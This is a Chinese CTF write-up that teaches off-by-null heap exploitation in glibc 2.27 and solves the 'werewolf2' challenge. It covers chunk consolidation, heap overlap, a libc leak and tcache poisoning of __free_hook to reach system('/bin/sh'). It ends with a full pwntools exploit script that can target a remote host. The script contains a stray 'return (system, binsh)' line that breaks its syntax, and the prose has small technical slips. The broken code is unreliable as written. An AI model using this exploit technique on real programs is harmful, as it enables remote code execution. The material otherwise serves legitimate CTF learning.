off by null 小结

off by null 的一点心得

0x00

最近的一个比赛里有道off by null的题目,比较简单,但对于off by null还是不熟悉。这里写一下这题的wp和off by null的一些利用。

0x01 前置知识

off by null 本质上就是由于长度的检查不严谨导致了一个空字节的溢出造成的,通常我们会用它来构造Heap Overlap或是用来触发unlink。
这些的前提是对于堆块的合并有所了解。
向前合并与向后合并
先说向前合并

/* consolidate forward */
if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

向前合并的检查:当一个chunk被free时去检查其物理相邻后一个chunk(next chunk)的prev_inuse位,若为0则证明此块已被free,若不是则将其prev_inuse位清0,执行free操作之后返回。接下来要检查nextchunk是不是top chunk 若是则和前一块合并,若不是则进入向前合并的流程。
向前合并流程:

  1. 让nextchunk进入unlink流程
  2. 给size加上nextsize(同理也是表示大小上两个chunk已经合并了)

向后合并

/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}

先检查当前堆块的prev_inuse位是否清零,若是则进入向后合并的流程:

  1. 先把前一个堆块的位置找到即p-p->prev_inuse
  2. 修改P -> size为P -> size + FD -> size(以此来表示size大小上已经合并)
  3. 让FD进入unlink函数

通常我们会构造heap overlap去利用off by null
先介绍一下heap overlap
假设我们申请了三个堆块

+++++++++++++++++++++++++++++++++++++++++++
|   Chunk A   |   Chunk B   |   Chunk C   |
+++++++++++++++++++++++++++++++++++++++++++

一定要申请以0x100整数倍大小的堆块,例0xf8,这样可以正好写到下一个chunk的prev_inuse位。
先释放chunkA,再释放chunkB,此时触发off by null修改chunkC的prev_inuse为前两个堆块大小的总和(包括chunk头)。接着释放chunkC,此时因为向后合并会获得一个大小为chunkA+chunkB+chunkC的堆块。由于chunkB其实并不是free的,接着再把chunkB申请回来,这是我们就可以对chunkB进行任意构造了。

0x02 第三届山东新一代信息技术创新应用大赛 werewolf2

题目链接:链接
密码: fi1b

在这里插入图片描述增删改查都有
在这里插入图片描述存在off by null漏洞在这里插入图片描述且对于输入的大小没有过多检查。
2.27的libc有tacahe保护所以我们一开始就申请大一些的堆块来避免tacahe的麻烦。
先申请三个堆块为heap overlap作准备

add(0x4f8,"0")  #0 0x555555757360
add(0x1f8,"1")  #1 0x555555757860
add(0x4f8,"2")  #2 0x555555757a60
add(0x20,"/bin/sh\x00")   #3 0x555555757f60 <-防止topchunk合并,为以后攻击准备

释放chunk0。因为这里有edit功能所以直接对chunk1修改触发off by null,先用字符填满0x1f0大小,之后将chunk2的prev_inuse位改成前俩个chunk大小之和即0x200+0x500,释放chunk2。此时会得到一个大chunk包含了0,1,2chunk。
因为之前释放的chunk0是unsorted bin状态的所以有main_arena附近的指针现在把他申请回来,他会把main_arena的地址将会被推到Chunk 1的数据域,所以我们show(1)就把libc泄漏出来了。

free(0)
edit(1,"a"*0x1f0+p64(0x200+0x500))
free(2)
add(0x4f8,"aaa") #4
show(1)
ru("ion : ")
libc_base = u64(ru("\x0a\x3d")[:].ljust(8,"\x00")) -0x3ebca0
leak("libc_base",libc_base)
#gdb.attach(p)
sys = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
leak("sys",sys)
leak("free_hook",free_hook)

之后就是利用tacahe机制做double free 改free hook来get shell了

add(0x20, "11") #5
free(5)
edit(1, p64(free_hook))
gdb.attach(p)
add(0x20, "aaaa") #6
add(0x20, p64(sys)+'\n')
free(3)

完整exp:

from LibcSearcher import LibcSearcher
from sys import argv
from pwn import *
#p = process("/tmp/elf", env={"LD_PRELOAD":"/tmp/libc.so.6"})
#context.terminal = ['tmux', 'splitw', '-h']
    return (system, binsh)
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

#context.log_level = 'DEBUG'
context.terminal = ['terminator', '-x' ,'sh' , '-c']
local = 1
if local:
    p = process('./werewolf2')
else:
    p = remote("47.105.128.249",9998)
#libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,content):
    p.sendlineafter('5.Exit\n',str(1))
    p.sendlineafter('inputs your size:\n',str(size))
    p.sendlineafter('Input your action:\n',content)
 
def show(id):
    p.sendlineafter('5.Exit\n',str(2))
    p.sendlineafter('Input your id\n',str(id))
 
def edit(id,content):
    p.sendlineafter('5.Exit\n',str(3))
    p.sendlineafter('Input your id\n',str(id))
    p.sendlineafter('Input your new action\n',content)
 
def free(id):
    p.sendlineafter('5.Exit\n',str(4))
    p.sendlineafter('Input your id\n',str(id))

add(0x4f8,"0")  #0 0x555555757360
add(0x1f8,"1")  #1 0x555555757860
add(0x4f8,"2")  #2 0x555555757a60
add(0x20,"/bin/sh\x00")   #3 0x555555757f60
free(0)
edit(1,"a"*0x1f0+p64(0x200+0x500))
free(2)
#gdb.attach(p)
add(0x4f8,"aaa") #4
show(1)
ru("ion : ")
libc_base = u64(ru("\x0a\x3d")[:].ljust(8,"\x00")) -0x3ebca0
leak("libc_base",libc_base)
#gdb.attach(p)
sys = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
leak("sys",sys)
leak("free_hook",free_hook)

add(0x20, "11") #5
free(5)
edit(1, p64(free_hook))
gdb.attach(p)
add(0x20, "aaaa") #6
add(0x20, p64(sys)+'\n')
free(3)
p.interactive()

参考链接:https://www.anquanke.com/post/id/208407#h2-12

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值